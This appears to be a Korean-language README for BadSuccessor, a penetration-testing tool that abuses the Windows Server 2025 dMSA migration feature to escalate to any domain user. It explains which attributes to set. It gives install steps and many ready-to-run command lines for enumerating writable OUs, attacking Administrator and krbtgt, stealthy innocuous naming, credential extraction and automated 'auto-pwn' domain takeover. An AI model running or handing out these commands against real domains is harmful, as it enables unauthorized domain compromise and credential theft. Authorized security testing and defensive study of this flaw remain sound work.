
Windows Server 2025 dMSA 권한 상승 취약점을 악용하여 쓰기 가능한 OU를 열거하고, 임의의 도메인 사용자로 권한을 상승시키며, 자격 증명을 추출하고, 인가된 AD 보안 평가에서 도메인 장악을 가능하게 합니다.
Windows Server 2025 Active Directory 환경에서 dMSA(위임 관리 서비스 계정) 권한 상승 취약점을 악용하는 침투 테스트 도구입니다.
이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 사용해야 합니다. 명시적인 서면 허가 없이 시스템에 이 도구를 사용하는 것은 불법이며 비윤리적입니다. 저자는 이 도구의 오용이나 피해에 대해 책임지지 않습니다.
중요: 이 도구는 활발히 개발 및 테스트 중입니다.
보안 커뮤니티의 다음 활동을 권장합니다:
이 도구를 사용함으로써, 귀하는 이 도구가 활발히 개발 중이며 특정 환경에 맞게 수정이 필요할 수 있음을 인정합니다.
BadSuccessor는 Windows Server 2025의 위임 관리 서비스 계정(dMSA) 기능에서 권한 상승 취약점을 악용합니다. 이 취약점을 통해 최소 권한을 가진 공격자는 도메인 관리자를 포함한 도메인의 모든 사용자로 권한을 상승시킬 수 있습니다.
이 도구는 Akamai Technologies의 Yuval Gordon의 훌륭한 연구를 기반으로 합니다:
이 취약점은 dMSA 마이그레이션 프로세스에 존재하며, 다음과 같은 단계로 진행됩니다:
msDS-ManagedAccountPrecededByLink 또는 ms-DS-Managed-Account-Preceded-By-Link를 대상 사용자를 가리키도록 설정합니다.msDS-DelegatedMSAState 또는 ms-DS-Delegated-MSA-State를 2(마이그레이션 완료)로 설정합니다.또한 KERB-DMSA-KEY-PACKAGE 구조에는 대상 사용자의 암호 키가 포함되어 있어 자격 증명 추출이 가능합니다.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**참고**: 이 도구는 impacket 0.12.0으로 테스트되었습니다. 런타임에 버전 호환성 경고가 표시됩니다.
### 선택적 종속성```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild 권한Write 권한GenericWrite 권한GenericAll 권한git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### 빠른 시작 예제
#### 1. 드라이 런 모드 (NEW) - 변경 사항 없이 테스트```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. 공격 수행```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. 세션 관리 (신규)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### 명령줄 옵션
#### 인증 인자
| 옵션 | 설명 |
|--------|-------------|
| `-d, --domain` | 대상 도메인 (예: corp.local) **[필수]** |
| `-u, --username` | 인증용 사용자 이름 **[필수]** |
| `-p, --password` | 인증용 비밀번호 |
| `--dc-ip` | 도메인 컨트롤러 IP (생략 시 자동 탐지) |
| `--ldaps` | 포트 636에서 LDAPS(SSL) 연결 강제 |
#### 공격 모드
| 옵션 | 설명 |
|--------|-------------|
| `--attack` | BadSuccessor 공격 수행 |
| `--dry-run` | **신규**: 변경 사항 없이 공격 시뮬레이션 |
| `--extract-creds` | 키 패키지를 사용하여 자격 증명 추출 |
| `--auto-pwn` | 완전 자동 도메인 탈취 |
#### 대상 지정
| 옵션 | 설명 |
|--------|-------------|
| `--target` | 권한을 상승시킬 대상 사용자 |
| `--targets` | 자격 증명 추출을 위한 쉼표로 구분된 사용자 목록 |
| `--validate-target` | **신규**: 공격 없이 대상 계정 검증 |
#### dMSA 구성
| 옵션 | 설명 |
|--------|-------------|
| `--dmsa-name` | 악성 dMSA 이름 (지정하지 않으면 자동 생성) |
| `--dmsa-pattern` | **신규**: dMSA 명명 패턴 (예: "svc{random}{target}") |
| `--ou-dn` | 사용할 특정 OU DN (지정하지 않으면 자동 감지) |
| `--dmsa-description` | **신규**: 생성된 dMSA에 대한 설명 |
| `--dmsa-display-name` | **신규**: 생성된 dMSA의 표시 이름 |
#### 열거 옵션
| 옵션 | 설명 |
|--------|-------------|
| `--enumerate` | 쓰기 권한이 있는 OU 열거 |
| `--list-targets` | 고가치 대상 목록 표시 |
| `--check-schema` | Windows Server 2025 스키마 확인 |
#### 세션 관리 (신규)
| 옵션 | 설명 |
|--------|-------------|
| `--session-id` | 기존 세션 재개 |
| `--list-sessions` | 사용 가능한 모든 세션 나열 |
| `--cleanup-session SESSION_ID` | 세션에서 모든 dMSA 정리 |
#### 정리 옵션
| 옵션 | 설명 |
|--------|-------------|
| `--cleanup` | 생성된 dMSA 제거 |
| `--dmsa-dn` | 정리 작업을 위한 dMSA DN |
| `--cleanup-all` | **신규**: 현재 세션에서 모든 dMSA 정리 |
#### 출력 옵션
| 옵션 | 설명 |
|--------|-------------|
| `--export-json FILE` | **신규**: 결과를 JSON 파일로 내보내기 |
| `--export-csv FILE` | **신규**: 결과를 CSV 파일로 내보내기 |
| `--export-html FILE` | **신규**: HTML 보고서 생성 |
| `--no-banner` | 배너 출력 숨기기 |
| `--verbose` | 자세한 출력 활성화 |